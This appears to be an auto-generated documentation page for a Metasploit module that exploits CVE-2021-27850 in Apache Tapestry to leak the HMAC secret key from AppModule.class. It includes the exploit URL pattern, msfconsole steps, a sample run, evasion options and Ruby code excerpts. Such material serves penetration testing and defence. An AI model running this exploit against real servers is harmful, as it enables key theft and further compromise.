Apache Tapestry HMAC secret key leak - Metasploit


This page contains detailed information about how to use the auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Apache Tapestry HMAC secret key leak
Module: auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
Source code: modules/auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key.rb
Disclosure date: 2021-04-15
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-27850

This exploit finds the HMAC secret key used in Java serialization by Apache Tapestry. This key is located in the file AppModule.class by default and looks like the standard representation of UUID in hex digits (hd) : 6hd-4hd-4hd-4hd-12hd If the HMAC key has been changed to look differently, this module won't find the key because it tries to download the file and then uses a specific regex to find the key.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

msf > use auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
msf auxiliary(cve_2021_27850_apache_tapestry_hmac_key) > show targets
    ... a list of targets ...
msf auxiliary(cve_2021_27850_apache_tapestry_hmac_key) > set TARGET target-id
msf auxiliary(cve_2021_27850_apache_tapestry_hmac_key) > show options
    ... show and set options ...
msf auxiliary(cve_2021_27850_apache_tapestry_hmac_key) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Description

This module exploits CVE-2021-27850 which affects several versions of Apache Tapestry. The versions concerned are at least 5.4.5, 5.5.0, 5.6.2 and 5.7.0. This CVE allows an attacker to leak the source code of a Tapestry server by requesting a particular .class file with its name through the url with an extra / at the end: http://tapestryhost:8080/assets/something/services/AppModule.class/. Due to this, it is possible to leak the HMAC secret key which is located in AppModule.class by default.

Installation

A vulnerable version of Apache Tapestry can be downloaded from here. I highly recommend you to follow the Tapestry tutorial there. It will guide you through all the steps from setting up to launching a demo skeleton of your server.

Verification Steps

List the steps needed to make sure this thing works

  • 1. Start msfconsole
  • 2. use auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
  • 3. set RHOST <target_host> and set RPORT <target_port>
  • 4. check to check if the targeted Tapestry server is vulnerable or not
  • 5. set targeted_class if you want to target another class than the default one (AppModule.class)
  • 6. run the module to exploit the CVE and leak the secret key !

Options

RHOSTS

Set the target host.

RPORT

Set the target port. The default value is 8080 which is the default value used by Tapestry server.

TARGETED_CLASS

This is not a required option and by default the value is AppModule.class which is also the default java class of by Tapestry server where the hmac key is set. But in case you want to target a different java class, it can be done by setting this option with another class name.

Scenarios

msf6 > use auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > set rhost 172.16.215.155rhost => 172.16.215.155
msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > set targeturi /hotels
targeturi => /hotels
msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > check

[+] Java file leak at 172.16.215.155:8080/hotels/assets/app/bf78ed9f/services/AppModule.class/
[+] 172.16.215.155:8080 - The target is vulnerable.
msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > run
[*] Running module against 172.16.215.155

[+] Apache Tapestry class file saved at /user/.msf4/loot/20210721173200_default_172.16.215.155_tapestry.AppModu_493080.bin.
[+] HMAC key found: 3e986070-b0d6-4634-93fe-4febebc90529.
[*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the gather/cve_2021_27850_apache_tapestry_hmac_key auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key

msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > show info

       Name: Apache Tapestry HMAC secret key leak
     Module: auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-04-15

Provided by:
  Johannes Moritz
  Yann Castel (yann.castel <Yann Castel ([email protected])>

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Check supported:
  Yes

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT           8080             yes       The target port (TCP)
  SSL             false            no        Negotiate SSL/TLS for outgoing connections
  TARGETED_CLASS  AppModule.class  yes       Name of the targeted java class
  TARGETURI       /                yes       The base path of the Apache Tapestry Server
  VHOST                            no        HTTP server virtual host

Description:
  This exploit finds the HMAC secret key used in Java serialization by 
  Apache Tapestry. This key is located in the file AppModule.class by 
  default and looks like the standard representation of UUID in hex 
  digits (hd) : 6hd-4hd-4hd-4hd-12hd If the HMAC key has been changed 
  to look differently, this module won't find the key because it tries 
  to download the file and then uses a specific regex to find the key.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-27850

Module Options

This is a complete list of options available in the gather/cve_2021_27850_apache_tapestry_hmac_key auxiliary module:

msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > show options

Module options (auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           8080             yes       The target port (TCP)
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   TARGETED_CLASS  AppModule.class  yes       Name of the targeted java class
   TARGETURI       /                yes       The base path of the Apache Tapestry Server
   VHOST                            no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the gather/cve_2021_27850_apache_tapestry_hmac_key auxiliary module:

msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > show advanced

Module advanced options (auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/cve_2021_27850_apache_tapestry_hmac_key module can do:

msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/cve_2021_27850_apache_tapestry_hmac_key auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Apache Tapestry did not respond.

Here is a relevant code snippet related to the "Apache Tapestry did not respond." error message:

80:	      'method' => 'GET',
81:	      'uri' => normalize_uri(target_uri.path, '/assets/app/something/services/', class_file, '/')
82:	    })
83:	
84:	    unless res
85:	      print_bad('Apache Tapestry did not respond.')
86:	      return
87:	    end
88:	
89:	    id_url = res.redirection.to_s[%r{assets/app/(\w+)/services/+#{class_file}}, 1]
90:	    normalized_url = normalize_uri(target_uri.path, '/assets/app/', id_url, '/services/', class_file, '/')

Either target is not vulnerable or class file does not appear to exist.

Here is a relevant code snippet related to the "Either target is not vulnerable or class file does not appear to exist." error message:

92:	      'method' => 'GET',
93:	      'uri' => normalized_url
94:	    })
95:	
96:	    unless res
97:	      print_bad('Either target is not vulnerable or class file does not appear to exist.')
98:	      return
99:	    end
100:	
101:	    raw_class_file = res.body.to_s
102:	    if raw_class_file.empty?

<CLASS_FILE> could not be obtained.

Here is a relevant code snippet related to the "<CLASS_FILE> could not be obtained." error message:

98:	      return
99:	    end
100:	
101:	    raw_class_file = res.body.to_s
102:	    if raw_class_file.empty?
103:	      print_bad("#{class_file} could not be obtained.")
104:	      return
105:	    end
106:	
107:	    key_marker = 'tapestry.hmac-passphrase'
108:	    unless raw_class_file.include?(key_marker)

HMAC key not found in <CLASS_FILE>.

Here is a relevant code snippet related to the "HMAC key not found in <CLASS_FILE>." error message:

104:	      return
105:	    end
106:	
107:	    key_marker = 'tapestry.hmac-passphrase'
108:	    unless raw_class_file.include?(key_marker)
109:	      print_bad("HMAC key not found in #{class_file}.")
110:	      return
111:	    end
112:	
113:	    # three bytes precede the key itself
114:	    # last two indicate the length of the key

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References

See Also

Check also the following modules related to this module:

Authors

  • Johannes Moritz
  • Yann Castel (yann.castel[at]orange.com)

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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